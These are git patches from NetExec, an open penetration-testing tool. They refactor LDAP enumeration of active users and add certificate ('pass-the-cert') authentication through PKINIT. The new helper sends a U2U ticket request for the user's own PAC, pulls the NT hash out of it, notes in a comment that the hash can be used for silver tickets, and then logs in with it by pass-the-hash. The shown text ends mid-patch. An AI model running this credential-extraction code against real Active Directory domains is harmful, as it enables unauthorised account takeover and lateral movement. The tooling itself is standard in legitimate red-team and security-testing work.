ldap(connection): def active_users(self): """Helper function to format userAccountControl""" - def user_account_control_cal(user_account_control): + def check_user_account_control(user_account_control): if user_account_control is not None: # Check if user_account_control is not None account_control = "".join(user_account_control) if isinstance(user_account_control, list) else user_account_control # If it's already a list account_disabled = int(account_control) & 2 if not account_disabled: + self.count += 1 activeusers.append(user.get("sAMAccountName").lower()) return activeusers if len(self.args.active_users) > 0: arg = True self.logger.debug(f"Dumping users: {', '.join(self.args.active_users)}") - search_filter = "(sAMAccountType=805306368)" if self.username != "" else "(objectclass=*)" - search_filter_args = f"(|{''.join(f'(sAMAccountName={user})' for user in self.args.active_users)})" + search_filter = f"(|{''.join(f'(sAMAccountName={user})' for user in self.args.active_users)})" else: arg = False self.logger.debug("Trying to dump all users") - search_filter = "(sAMAccountType=805306368)" if self.username != "" else "(objectclass=*)" + search_filter = "(sAMAccountType=805306368)" - # default to these attributes to mirror the SMB --users functionality + # Default to these attributes to mirror the SMB --users functionality request_attributes = ["sAMAccountName", "description", "badPwdCount", "pwdLastSet", "userAccountControl"] resp = self.search(search_filter, request_attributes, sizeLimit=0) if resp: allusers = parse_result_attributes(resp) activeusers = [] - argsusers = [] - - if arg: - resp_args = self.search(search_filter_args, request_attributes, sizeLimit=0) - users_args = parse_result_attributes(resp_args) - # This try except for, if user gives a doesn't exist username. If it does, parsing process is crashing - for i in range(len(self.args.active_users)): - try: - argsusers.append(users_args[i]) - except Exception as e: - self.logger.debug("Exception:", exc_info=True) - self.logger.debug(f"Skipping item, cannot process due to error {e}") - else: - argsusers = allusers - resp_args = allusers + self.count = 0 for user in allusers: user_account_control = user.get("userAccountControl") if user_account_control: # Only shows users with userAccountControl value! If a enable user has not userAccountControl value, it wont be listing. - activeusers = user_account_control_cal(user_account_control) + activeusers = check_user_account_control(user_account_control) self.logger.debug(f"userAccountControl for user {user.get('sAMAccountName')} is None") - if self.username == "": - self.logger.display(f"Total records returned: {len(activeusers)}") - self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<8}{'-Description-':<60}") + self.logger.display(f"Total records returned: {self.count}, total {len(allusers) - self.count:d} user(s) disabled") if not arg else self.logger.display(f"Total records returned: {len(allusers)}") + self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<9}{'-Description-':<60}") - for item in resp_args: - sAMAccountName = item.get("sAMAccountName") if item.get("sAMAccountName") else "" - pwd_last_set = "" if item.get("pwdLastSet") is None else (str(datetime.fromtimestamp(self.getUnixTime(int(item.get("pwdLastSet")))).strftime("%Y-%m-%d %H:%M:%S")) if str(item.get("pwdLastSet")) != "0" else "0") - pwdcount = item.get("pwdcount") if item.get("pwdcount") else "" - description = item.get("description") if item.get("description") else "" - - if sAMAccountName.lower() in activeusers: - self.logger.highlight(f"{sAMAccountName:<30}{pwd_last_set:<20}{pwdcount:<8}{description}") - return - - self.logger.display(f"Total records returned: {len(activeusers)}, total {len(allusers) - len(activeusers)} user(s) disabled") if not arg else self.logger.display(f"Total records returned: {len(argsusers)}, Total {len(allusers) - len(activeusers)} user(s) disabled") - self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<8}{'-Description-':<60}") - - for arguser in argsusers: - # Retrieves pwdLastSet directly and defaults to an empty string. - pwd_last_set = arguser.get("pwdLastSet", "") if arguser.get("pwdLastSet") in ["", None] else ("0" if str(arguser.get("pwdLastSet")) == "0" else str(datetime.fromtimestamp(self.getUnixTime(int(arguser.get("pwdLastSet")))).strftime("%Y-%m-%d %H:%M:%S"))) - - if arguser.get("sAMAccountName").lower() in activeusers and arg is False: - self.logger.highlight(f"{arguser.get('sAMAccountName', ''):<30}{pwd_last_set:<20}{arguser.get('badPwdCount', ''):<8}{arguser.get('description', ''):<60}") - elif (arguser.get("sAMAccountName").lower() not in activeusers) and arg is True: - self.logger.highlight(f"{arguser.get('sAMAccountName', '') + ' (Disabled)':<30}{pwd_last_set:<20}{arguser.get('badPwdCount', ''):<8}{arguser.get('description', ''):<60}") - elif (arguser.get("sAMAccountName").lower() in activeusers): - self.logger.highlight(f"{arguser.get('sAMAccountName', ''):<30}{pwd_last_set:<20}{arguser.get('badPwdCount', ''):<8}{arguser.get('description', ''):<60}") + for user in allusers: + pwd_last_set = user.get("pwdLastSet", "") if user.get("pwdLastSet") in ["", None] else ("" if str(user.get("pwdLastSet")) == "0" else str(datetime.fromtimestamp(self.getUnixTime(int(user.get("pwdLastSet")))).strftime("%Y-%m-%d %H:%M:%S"))) + self.logger.highlight(f"{user.get("sAMAccountName", ''):<30}{pwd_last_set:<20}{user.get("badPwdCount", ''):<9}{user.get("description", '')}") def asreproast(self): if self.password == "" and self.nthash == "" and self.kerberos is False: From 36ca3a032694732d53e122554038b619957ee2ae Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Sat, 4 Jan 2025 18:36:38 +0100 Subject: [PATCH 181/376] add certificate authentication aka pass-the-cert --- nxc/cli.py | 7 + nxc/connection.py | 66 ++++++- nxc/helpers/pfx.py | 478 +++++++++++++++++++++++++++++++++++++++++++++ 3 files changed, 549 insertions(+), 2 deletions(-) create mode 100644 nxc/helpers/pfx.py diff --git a/nxc/cli.py b/nxc/cli.py index 46206169..a8a818f5 100755 --- a/nxc/cli.py +++ b/nxc/cli.py @@ -98,6 +98,13 @@ def gen_cli_args(): kerberos_group.add_argument("--use-kcache", action="store_true", help="Use Kerberos authentication from ccache file (KRB5CCNAME)") kerberos_group.add_argument("--aesKey", metavar="AESKEY", nargs="+", help="AES key to use for Kerberos Authentication (128 or 256 bits)") kerberos_group.add_argument("--kdcHost", metavar="KDCHOST", help="FQDN of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter") + + certificate_group = std_parser.add_argument_group("Certificate", "Options for certificate authentication") + certificate_group.add_argument("--pfx-cert", metavar="PFXCERT", help="Use certificate authentication from pfx file .pfx") + certificate_group.add_argument("--pfx-base64", metavar="PFXB64", help="Use certificate authentication from pfx file encoded in base64") + certificate_group.add_argument("--pfx-pass", metavar="PFXPASS", help="Password of the pfx certificate") + certificate_group.add_argument("--cert-pem", metavar="CERTPEM", help="Use certificate authentication from PEM file") + certificate_group.add_argument("--key-pem", metavar="KEYPEM", help="Private key for the PEM format") server_group = std_parser.add_argument_group("Servers", "Options for nxc servers") server_group.add_argument("--server", choices={"http", "https"}, default="https", help="use the selected server") diff --git a/nxc/connection.py b/nxc/connection.py index e2114a7d..a63512b6 100755 --- a/nxc/connection.py +++ b/nxc/connection.py @@ -1,8 +1,13 @@ import random +import os +import sys +import contextlib + from os.path import isfile from threading import BoundedSemaphore from functools import wraps from time import sleep +from datetime import datetime from ipaddress import ip_address from dns import resolver, rdatatype from socket import AF_UNSPEC, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME, getaddrinfo @@ -13,10 +18,14 @@ from nxc.loaders.moduleloader import ModuleLoader from nxc.logger import nxc_logger, NXCAdapter from nxc.context import Context from nxc.protocols.ldap.laps import laps_search +from nxc.helpers.pfx import myPKINIT, GETPAC +from minikerberos.network.clientsocket import KerberosClientSocket +from minikerberos.common.target import KerberosTarget +from minikerberos.common.ccache import CCACHE + +from impacket.krb5.ccache import CCache from impacket.dcerpc.v5 import transport -import sys -import contextlib sem = BoundedSemaphore(1) global_failed_logins = 0 @@ -548,6 +557,59 @@ class connection: self.logger.info("Successfully authenticated using Kerberos cache") return True + if self.args.pfx_cert or self.args.pfx_base64 or self.args.cert_pem: + self.logger.debug("Trying to authenticate using Certificate pfx") + with sem: + # Static DH params because the ones generated by cryptography are considered unsafe by AD for some weird reason + dhparams = { + "p": int("00ffffffffffffffffc90fdaa22168c234c4c6628b80dc1cd129024e088a67cc74020bbea63b139b22514a08798e3404ddef9519b3cd3a431b302b0a6df25f14374fe1356d6d51c245e485b576625e7ec6f44c42e9a637ed6b0bff5cb6f406b7edee386bfb5a899fa5ae9f24117c4b1fe649286651ece65381ffffffffffffffff", 16), + "g": 2 + } + self.logger.info("Loading certificate and key from file") + + if self.args.pfx_cert or self.args.pfx_base64: + pfx = self.args.pfx_cert if self.args.pfx_cert else self.args.pfx_base64 + ini = myPKINIT.from_pfx(pfx, self.args.pfx_pass, dhparams, bool(self.args.pfx_base64)) + elif self.args.cert_pem and self.args.key_pem: + ini = myPKINIT.from_pem(self.args.cert_pem, self.args.key_pem, dhparams) + else: + self.logger.fail("You must either specify a PFX file + optional password or a combination of Cert PEM file and Private key PEM file") + return None + + username = self.args.username[0] + log_ccache = os.path.expanduser(f"~/.nxc/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}-{username}.ccache".replace(":", "-")) + + req = ini.build_asreq(self.domain, username) + self.logger.info("Requesting TGT") + + sock = KerberosClientSocket(KerberosTarget(self.domain)) + try: + res = sock.sendrecv(req) + except Exception as e: + self.logger.fail(str(e)) + return False + + encasrep, session_key, cipher, key = ini.decrypt_asrep(res.native) + ccache_minikerberos = CCACHE() + ccache_minikerberos.add_tgt(res.native, encasrep) + ccache_minikerberos.to_file(log_ccache) + self.logger.info(f"Saved TGT to file { log_ccache }") + self.logger.info(f"Using Kerberos Cache { log_ccache }") + ccache = CCache.loadFile(log_ccache) + principal = f"krbtgt/{self.domain.upper()}@{self.domain.upper()}" + creds = ccache.getCredential(principal) + if creds is not None: + tgt = creds.toTGT() + dumper = GETPAC(username, self.domain, self.domain, key, tgt) + nthash = dumper.dump() + if not self.kerberos: + self.hash_login(self.domain, username, nthash) + else: + self.kerberos_login(self.domain, username, "", nthash, "", self.kdcHost, False) + + self.logger.info("Successfully authenticated using Certificate") + return True + if hasattr(self.args, "laps") and self.args.laps: self.logger.debug("Trying to authenticate using LAPS") username[0], secret[0], domain[0] = laps_search(self, username, secret, cred_type, domain, self.dns_server) diff --git a/nxc/helpers/pfx.py b/nxc/helpers/pfx.py new file mode 100644 index 00000000..e8c3065a --- /dev/null +++ b/nxc/helpers/pfx.py @@ -0,0 +1,478 @@ +# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Author: +# Alberto Solino (@agsolino) +# Dirk-jan Mollema (@_dirkjan) +# +# Description: +# This script will use an existing TGT to request a PAC for the current user using U2U. +# When the TGT was obtained using PKINIT, the resulting PAC will contain the NT hash which can be +# used for silver tickets and for backwards compatibility with other tooling. +# +# References: +# +# U2U: https://tools.ietf.org/html/draft-ietf-cat-user2user-02 +# +# Based on examples from minikerberos by skelsec +# Parts of this code was inspired by the following project by @rubin_mor +# https://github.com/morRubin/AzureADJoinedMachinePTC +# +# Author: +# Tamas Jos (@skelsec) +# Dirk-jan Mollema (@_dirkjan) +# + +import secrets +import hashlib +import datetime +import logging +import random +import base64 + +from binascii import unhexlify, hexlify + +from oscrypto.keys import parse_pkcs12, parse_certificate, parse_private +from oscrypto.asymmetric import rsa_pkcs1v15_sign, load_private_key + +from asn1crypto import cms +from asn1crypto import algos +from asn1crypto import core +from asn1crypto import keys + +from minikerberos.pkinit import PKINIT, DirtyDH +from minikerberos.protocol.constants import NAME_TYPE, PaDataType +from minikerberos.protocol.encryption import Enctype, _enctype_table, Key +from minikerberos.protocol.asn1_structs import KDC_REQ_BODY, PrincipalName, KDCOptions, EncASRepPart, AS_REQ, PADATA_TYPE, \ + PA_PAC_REQUEST +from minikerberos.protocol.rfc4556 import PKAuthenticator, AuthPack, PA_PK_AS_REP, KDCDHKeyInfo, PA_PK_AS_REQ + +from pyasn1.codec.der import decoder, encoder +from pyasn1.type.univ import noValue + +from impacket.dcerpc.v5.rpcrt import TypeSerialization1 +from impacket.krb5 import constants +from impacket.krb5.asn1 import AP_REQ, AS_REP, TGS_REQ, Authenticator, TGS_REP, seq_set, seq_set_iter, EncTicketPart, AD_IF_RELEVANT, Ticket as TicketAsn1 +from impacket.krb5.kerberosv5 import sendReceive +from impacket.krb5.pac import PACTYPE, PAC_INFO_BUFFER, PAC_CREDENTIAL_INFO, \ + PAC_CREDENTIAL_DATA, NTLM_SUPPLEMENTAL_CREDENTIAL +from impacket.krb5.types import Principal, KerberosTime, Ticket + +class myPKINIT(PKINIT): + """ + Copy of minikerberos PKINIT + With some changes where it differs from PKINIT used in NegoEx + """ + + @staticmethod + def from_pfx(pfxfile, pfxpass, dh_params=None, b64=False): + with open(pfxfile, "rb") as f: + pfxdata = f.read() + + if b64: + pfxdata = base64.b64decode(pfxdata) + + return myPKINIT.from_pfx_data(pfxdata, pfxpass, dh_params) + + @staticmethod + def from_pfx_data(pfxdata, pfxpass, dh_params=None): + pkinit = myPKINIT() + # oscrypto does not seem to support pfx without password, so convert it to PEM using cryptography instead + if not pfxpass: + from cryptography.hazmat.primitives.serialization import pkcs12 + from cryptography.hazmat.primitives import serialization + privkey, cert, extra_certs = pkcs12.load_key_and_certificates(pfxdata, None) + pem_key = privkey.private_bytes( + encoding=serialization.Encoding.PEM, + format=serialization.PrivateFormat.TraditionalOpenSSL, + encryption_algorithm=serialization.NoEncryption(), + ) + pkinit.privkey = load_private_key(parse_private(pem_key)) + pem_cert = cert.public_bytes( + encoding=serialization.Encoding.PEM + ) + pkinit.certificate = parse_certificate(pem_cert) + else: + if isinstance(pfxpass, str): + pfxpass = pfxpass.encode() + pkinit.privkeyinfo, pkinit.certificate, pkinit.extra_certs = parse_pkcs12(pfxdata, password=pfxpass) + pkinit.privkey = load_private_key(pkinit.privkeyinfo) + pkinit.setup(dh_params=dh_params) + return pkinit + + @staticmethod + def from_pem(certfile, privkeyfile, dh_params=None): + pkinit = myPKINIT() + with open(certfile, "rb") as f: + pkinit.certificate = parse_certificate(f.read()) + with open(privkeyfile, "rb") as f: + pkinit.privkey = load_private_key(parse_private(f.read())) + pkinit.setup(dh_params=dh_params) + return pkinit + + def sign_authpack(self, data, wrap_signed=False): + return self.sign_authpack_native(data, wrap_signed) + + def setup(self, dh_params=None): + self.issuer = self.certificate.issuer.native["common_name"] + if dh_params is None: + print("Generating DH params...") + print("DH params generated.") + else: + if isinstance(dh_params, dict): + self.diffie = DirtyDH.from_dict(dh_params) + elif isinstance(dh_params, bytes): + self.diffie = DirtyDH.from_asn1(dh_params) + elif isinstance(dh_params, DirtyDH): + self.diffie = dh_params + else: + raise Exception("DH params must be either a bytearray or a dict") + + def build_asreq(self, domain=None, cname=None, kdcopts=None): + if kdcopts is None: + kdcopts = ["forwardable", "renewable", "renewable-ok"] + if isinstance(kdcopts, list): + kdcopts = set(kdcopts) + if cname is not None: + if isinstance(cname, str): + cname = [cname] + else: + cname = [self.cname] + + now = datetime.datetime.now(datetime.timezone.utc) + + kdc_req_body_data = {} + kdc_req_body_data["kdc-options"] = KDCOptions(kdcopts) + kdc_req_body_data["cname"] = PrincipalName({"name-type": NAME_TYPE.PRINCIPAL.value, "name-string": cname}) + kdc_req_body_data["realm"] = domain.upper() + kdc_req_body_data["sname"] = PrincipalName({"name-type": NAME_TYPE.SRV_INST.value, "name-string": ["krbtgt", domain.upper()]}) + kdc_req_body_data["till"] = (now + datetime.timedelta(days=1)).replace(microsecond=0) + kdc_req_body_data["rtime"] = (now + datetime.timedelta(days=1)).replace(microsecond=0) + kdc_req_body_data["nonce"] = secrets.randbits(31) + kdc_req_body_data["etype"] = [18, 17] # 23 breaks... + kdc_req_body = KDC_REQ_BODY(kdc_req_body_data) + + + checksum = hashlib.sha1(kdc_req_body.dump()).digest() + + authenticator = {} + authenticator["cusec"] = now.microsecond + authenticator["ctime"] = now.replace(microsecond=0) + authenticator["nonce"] = secrets.randbits(31) + authenticator["paChecksum"] = checksum + + + dp = {} + dp["p"] = self.diffie.p + dp["g"] = self.diffie.g + dp["q"] = 0 # mandatory parameter, but it is not needed + + pka = {} + pka["algorithm"] = "1.2.840.10046.2.1" + pka["parameters"] = keys.DomainParameters(dp) + + spki = {} + spki["algorithm"] = keys.PublicKeyAlgorithm(pka) + spki["public_key"] = self.diffie.get_public_key() + + + authpack = {} + authpack["pkAuthenticator"] = PKAuthenticator(authenticator) + authpack["clientPublicValue"] = keys.PublicKeyInfo(spki) + authpack["clientDHNonce"] = self.diffie.dh_nonce + + authpack = AuthPack(authpack) + signed_authpack = self.sign_authpack(authpack.dump(), wrap_signed=True) + + payload = PA_PK_AS_REQ() + payload["signedAuthPack"] = signed_authpack + + pa_data_1 = {} + pa_data_1["padata-type"] = PaDataType.PK_AS_REQ.value + pa_data_1["padata-value"] = payload.dump() + + pa_data_0 = {} + pa_data_0["padata-type"] = int(PADATA_TYPE("PA-PAC-REQUEST")) + pa_data_0["padata-value"] = PA_PAC_REQUEST({"include-pac": True}).dump() + + asreq = {} + asreq["pvno"] = 5 + asreq["msg-type"] = 10 + asreq["padata"] = [pa_data_0, pa_data_1] + asreq["req-body"] = kdc_req_body + + return AS_REQ(asreq).dump() + + def sign_authpack_native(self, data, wrap_signed=False): + """ + Creating PKCS7 blob which contains the following things: + + 1. 'data' blob which is an ASN1 encoded "AuthPack" structure + 2. the certificate used to sign the data blob + 3. the singed 'signed_attrs' structure (ASN1) which points to the "data" structure (in point 1) + """ + da = {} + da["algorithm"] = algos.DigestAlgorithmId("1.3.14.3.2.26") # for sha1 + + si = {} + si["version"] = "v1" + si["sid"] = cms.IssuerAndSerialNumber({ + "issuer": self.certificate.issuer, + "serial_number": self.certificate.serial_number, + }) + + + si["digest_algorithm"] = algos.DigestAlgorithm(da) + si["signed_attrs"] = [ + cms.CMSAttribute({"type": "content_type", "values": ["1.3.6.1.5.2.3.1"]}), # indicates that the encap_content_info's authdata struct (marked with OID '1.3.6.1.5.2.3.1' is signed ) + cms.CMSAttribute({"type": "message_digest", "values": [hashlib.sha1(data).digest()]}), # hash of the data, the data itself will not be signed, but this block of data will be. + ] + si["signature_algorithm"] = algos.SignedDigestAlgorithm({"algorithm": "1.2.840.113549.1.1.1"}) + si["signature"] = rsa_pkcs1v15_sign(self.privkey, cms.CMSAttributes(si["signed_attrs"]).dump(), "sha1") + + ec = {} + ec["content_type"] = "1.3.6.1.5.2.3.1" + ec["content"] = data + + sd = {} + sd["version"] = "v3" + sd["digest_algorithms"] = [algos.DigestAlgorithm(da)] # must have only one + sd["encap_content_info"] = cms.EncapsulatedContentInfo(ec) + sd["certificates"] = [self.certificate] + sd["signer_infos"] = cms.SignerInfos([cms.SignerInfo(si)]) + + if wrap_signed is True: + ci = {} + ci["content_type"] = "1.2.840.113549.1.7.2" # signed data OID + ci["content"] = cms.SignedData(sd) + return cms.ContentInfo(ci).dump() + + return cms.SignedData(sd).dump() + + def decrypt_asrep(self, as_rep): + def truncate_key(value, keysize): + output = b"" + currentNum = 0 + while len(output) < keysize: + currentDigest = hashlib.sha1(bytes([currentNum]) + value).digest() + if len(output) + len(currentDigest) > keysize: + output += currentDigest[:keysize - len(output)] + break + output += currentDigest + currentNum += 1 + + return output + + for pa in as_rep["padata"]: + if pa["padata-type"] == 17: + pkasrep = PA_PK_AS_REP.load(pa["padata-value"]).native + break + else: + raise Exception("PA_PK_AS_REP not found!") + ci = cms.ContentInfo.load(pkasrep["dhSignedData"]).native + sd = ci["content"] + keyinfo = sd["encap_content_info"] + if keyinfo["content_type"] != "1.3.6.1.5.2.3.2": + raise Exception("Keyinfo content type unexpected value") + authdata = KDCDHKeyInfo.load(keyinfo["content"]).native + pubkey = int("".join(["1"] + [str(x) for x in authdata["subjectPublicKey"]]), 2) + + pubkey = int.from_bytes(core.BitString(authdata["subjectPublicKey"]).dump()[7:], "big", signed=False) + shared_key = self.diffie.exchange(pubkey) + + server_nonce = pkasrep["serverDHNonce"] + fullKey = shared_key + self.diffie.dh_nonce + server_nonce + + etype = as_rep["enc-part"]["etype"] + cipher = _enctype_table[etype] + if etype == Enctype.AES256: + t_key = truncate_key(fullKey, 32) + elif etype == Enctype.AES128: + t_key = truncate_key(fullKey, 16) + elif etype == Enctype.RC4: + raise NotImplementedError("RC4 key truncation documentation missing. it is different from AES") + + + key = Key(cipher.enctype, t_key) + enc_data = as_rep["enc-part"]["cipher"] + logging.info("AS-REP encryption key (you might need this later):") + logging.info(hexlify(t_key).decode("utf-8")) + dec_data = cipher.decrypt(key, 3, enc_data) + encasrep = EncASRepPart.load(dec_data).native + cipher = _enctype_table[int(encasrep["key"]["keytype"])] + session_key = Key(cipher.enctype, encasrep["key"]["keyvalue"]) + return encasrep, session_key, cipher, hexlify(t_key).decode("utf-8") + + +class GETPAC: + + def printPac(self, data, key=None): + nthash = None + encTicketPart = decoder.decode(data, asn1Spec=EncTicketPart())[0] + adIfRelevant = decoder.decode(encTicketPart["authorization-data"][0]["ad-data"], asn1Spec=AD_IF_RELEVANT())[ + 0] + # So here we have the PAC + pacType = PACTYPE(adIfRelevant[0]["ad-data"].asOctets()) + buff = pacType["Buffers"] + found = False + for _bufferN in range(pacType["cBuffers"]): + infoBuffer = PAC_INFO_BUFFER(buff) + data = pacType["Buffers"][infoBuffer["Offset"] - 8:][:infoBuffer["cbBufferSize"]] + if logging.getLogger().level == logging.DEBUG: + print("TYPE 0x%x" % infoBuffer["ulType"]) + if infoBuffer["ulType"] == 2: + found = True + credinfo = PAC_CREDENTIAL_INFO(data) + if logging.getLogger().level == logging.DEBUG: + credinfo.dump() + newCipher = _enctype_table[credinfo["EncryptionType"]] + out = newCipher.decrypt(key, 16, credinfo["SerializedData"]) + type1 = TypeSerialization1(out) + # I'm skipping here 4 bytes with its the ReferentID for the pointer + newdata = out[len(type1) + 4:] + pcc = PAC_CREDENTIAL_DATA(newdata) + if logging.getLogger().level == logging.DEBUG: + pcc.dump() + for cred in pcc["Credentials"]: + credstruct = NTLM_SUPPLEMENTAL_CREDENTIAL(b"".join(cred["Credentials"])) + if logging.getLogger().level == logging.DEBUG: + credstruct.dump() + + logging.info("Recovered NT Hash") + logging.info(hexlify(credstruct["NtPassword"]).decode("utf-8")) + nthash = hexlify(credstruct["NtPassword"]).decode("utf-8") + + buff = buff[len(infoBuffer):] + + if not found: + logging.info("Did not find the PAC_CREDENTIAL_INFO in the PAC. Are you sure your TGT originated from a PKINIT operation?") + return nthash + + def __init__(self, username, domain, kdcHost, key, tgt): + self.__username = username + self.__domain = domain.upper() + self.__kdcHost = kdcHost + self.__asrep_key = key + self.__tgt = tgt["KDC_REP"] + self.__cipher = tgt["cipher"] + self.__sessionKey = tgt["sessionKey"] + + def dump(self): + # Try all requested protocols until one works. + tgt = self.__tgt + cipher = self.__cipher + sessionKey = self.__sessionKey + + decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0] + + # Extract the ticket from the TGT + ticket = Ticket() + ticket.from_asn1(decodedTGT["ticket"]) + + apReq = AP_REQ() + apReq["pvno"] = 5 + apReq["msg-type"] = int(constants.ApplicationTagNumbers.AP_REQ.value) + + opts = [] + apReq["ap-options"] = constants.encodeFlags(opts) + seq_set(apReq, "ticket", ticket.to_asn1) + + authenticator = Authenticator() + authenticator["authenticator-vno"] = 5 + authenticator["crealm"] = str(decodedTGT["crealm"]) + + clientName = Principal() + clientName.from_asn1(decodedTGT, "crealm", "cname") + + seq_set(authenticator, "cname", clientName.components_to_asn1) + + now = datetime.datetime.utcnow() + authenticator["cusec"] = now.microsecond + authenticator["ctime"] = KerberosTime.to_asn1(now) + + if logging.getLogger().level == logging.DEBUG: + logging.debug("AUTHENTICATOR") + print(authenticator.prettyPrint()) + print("\n") + + encodedAuthenticator = encoder.encode(authenticator) + + # Key Usage 7 + # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes + # TGS authenticator subkey), encrypted with the TGS session + # key (Section 5.5.1) + encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) + + apReq["authenticator"] = noValue + apReq["authenticator"]["etype"] = cipher.enctype + apReq["authenticator"]["cipher"] = encryptedEncodedAuthenticator + + encodedApReq = encoder.encode(apReq) + + tgsReq = TGS_REQ() + + tgsReq["pvno"] = 5 + tgsReq["msg-type"] = int(constants.ApplicationTagNumbers.TGS_REQ.value) + + tgsReq["padata"] = noValue + tgsReq["padata"][0] = noValue + tgsReq["padata"][0]["padata-type"] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) + tgsReq["padata"][0]["padata-value"] = encodedApReq + + reqBody = seq_set(tgsReq, "req-body") + + opts = [] + opts.append(constants.KDCOptions.forwardable.value) + opts.append(constants.KDCOptions.renewable.value) + opts.append(constants.KDCOptions.canonicalize.value) + opts.append(constants.KDCOptions.enc_tkt_in_skey.value) + + reqBody["kdc-options"] = constants.encodeFlags(opts) + + serverName = Principal(self.__username, type=constants.PrincipalNameType.NT_UNKNOWN.value) + + seq_set(reqBody, "sname", serverName.components_to_asn1) + reqBody["realm"] = str(decodedTGT["crealm"]) + + now = datetime.datetime.utcnow() + datetime.timedelta(days=1) + + reqBody["till"] = KerberosTime.to_asn1(now) + reqBody["nonce"] = random.getrandbits(31) + seq_set_iter(reqBody, "etype", + (int(cipher.enctype), int(constants.EncryptionTypes.rc4_hmac.value))) + + myTicket = ticket.to_asn1(TicketAsn1()) + seq_set_iter(reqBody, "additional-tickets", (myTicket,)) + if logging.getLogger().level == logging.DEBUG: + logging.debug("Final TGS") + print(tgsReq.prettyPrint()) + if logging.getLogger().level == logging.DEBUG: + logging.debug("Final TGS") + print(tgsReq.prettyPrint()) + + message = encoder.encode(tgsReq) + logging.info("Requesting ticket to self with PAC") + + r = sendReceive(message, self.__domain, self.__kdcHost) + + tgs = decoder.decode(r, asn1Spec=TGS_REP())[0] + + if logging.getLogger().level == logging.DEBUG: + logging.debug("TGS_REP") + print(tgs.prettyPrint()) + + cipherText = tgs["ticket"]["enc-part"]["cipher"] + + # Key Usage 2 + # AS-REP Ticket and TGS-REP Ticket (includes tgs session key or + # application session key), encrypted with the service key + # (section 5.4.2) + + + # S4USelf + U2U uses this other key + plainText = cipher.decrypt(sessionKey, 2, cipherText) + specialkey = Key(18, unhexlify(self.__asrep_key)) + return self.printPac(plainText, specialkey) \ No newline at end of file From 716ae2a148ec01f47927ee26b74726213bad9ceb Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sat, 4 Jan 2025 14:41:17 -0500 Subject: [PATCH 182/376] Make sure that the user enters a username for cert auth --- nxc/connection.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/nxc/connection.py b/nxc/connection.py index a63512b6..da1072df 100755 --- a/nxc/connection.py +++ b/nxc/connection.py @@ -559,6 +559,9 @@ class connection: if self.args.pfx_cert or self.args.pfx_base64 or self.args.cert_pem: self.logger.debug("Trying to authenticate using Certificate pfx") + if not self.args.username: + self.logger.fail("You must specify a username when using certificate authentication") + return False with sem: # Static DH params because the ones generated by cryptography are considered unsafe by AD for some weird reason dhparams = { From c71e52dbf8bb48e01f6f0e18bfb576b4caec620c Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sat, 4 Jan 2025 14:41:44 -0500 Subject: [PATCH 183/376] Pass the target ip to the tools, so that they don't need to resolve the domain --- nxc/connection.py | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/nxc/connection.py b/nxc/connection.py index da1072df..c7955ed2 100755 --- a/nxc/connection.py +++ b/nxc/connection.py @@ -570,6 +570,7 @@ class connection: } self.logger.info("Loading certificate and key from file") + # Load the certificate and key from file if self.args.pfx_cert or self.args.pfx_base64: pfx = self.args.pfx_cert if self.args.pfx_cert else self.args.pfx_base64 ini = myPKINIT.from_pfx(pfx, self.args.pfx_pass, dhparams, bool(self.args.pfx_base64)) @@ -582,10 +583,11 @@ class connection: username = self.args.username[0] log_ccache = os.path.expanduser(f"~/.nxc/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}-{username}.ccache".replace(":", "-")) + # Request a TGT with the cert data req = ini.build_asreq(self.domain, username) self.logger.info("Requesting TGT") - sock = KerberosClientSocket(KerberosTarget(self.domain)) + sock = KerberosClientSocket(KerberosTarget(self.host)) try: res = sock.sendrecv(req) except Exception as e: @@ -603,7 +605,7 @@ class connection: creds = ccache.getCredential(principal) if creds is not None: tgt = creds.toTGT() - dumper = GETPAC(username, self.domain, self.domain, key, tgt) + dumper = GETPAC(username, self.domain, self.host, key, tgt) nthash = dumper.dump() if not self.kerberos: self.hash_login(self.domain, username, nthash) From 631107dee401f329e65154a14cb8dcc89f310197 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sat, 4 Jan 2025 14:49:57 -0500 Subject: [PATCH 184/376] Move cert auth logic to helpers function --- nxc/connection.py | 61 ++---------------------------------------- nxc/helpers/pfx.py | 66 +++++++++++++++++++++++++++++++++++++++++++++- 2 files changed, 67 insertions(+), 60 deletions(-) diff --git a/nxc/connection.py b/nxc/connection.py index c7955ed2..3beb84fd 100755 --- a/nxc/connection.py +++ b/nxc/connection.py @@ -1,5 +1,4 @@ import random -import os import sys import contextlib @@ -7,7 +6,6 @@ from os.path import isfile from threading import BoundedSemaphore from functools import wraps from time import sleep -from datetime import datetime from ipaddress import ip_address from dns import resolver, rdatatype from socket import AF_UNSPEC, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME, getaddrinfo @@ -18,13 +16,8 @@ from nxc.loaders.moduleloader import ModuleLoader from nxc.logger import nxc_logger, NXCAdapter from nxc.context import Context from nxc.protocols.ldap.laps import laps_search -from nxc.helpers.pfx import myPKINIT, GETPAC +from nxc.helpers.pfx import pfx_auth -from minikerberos.network.clientsocket import KerberosClientSocket -from minikerberos.common.target import KerberosTarget -from minikerberos.common.ccache import CCACHE - -from impacket.krb5.ccache import CCache from impacket.dcerpc.v5 import transport sem = BoundedSemaphore(1) @@ -563,57 +556,7 @@ class connection: self.logger.fail("You must specify a username when using certificate authentication") return False with 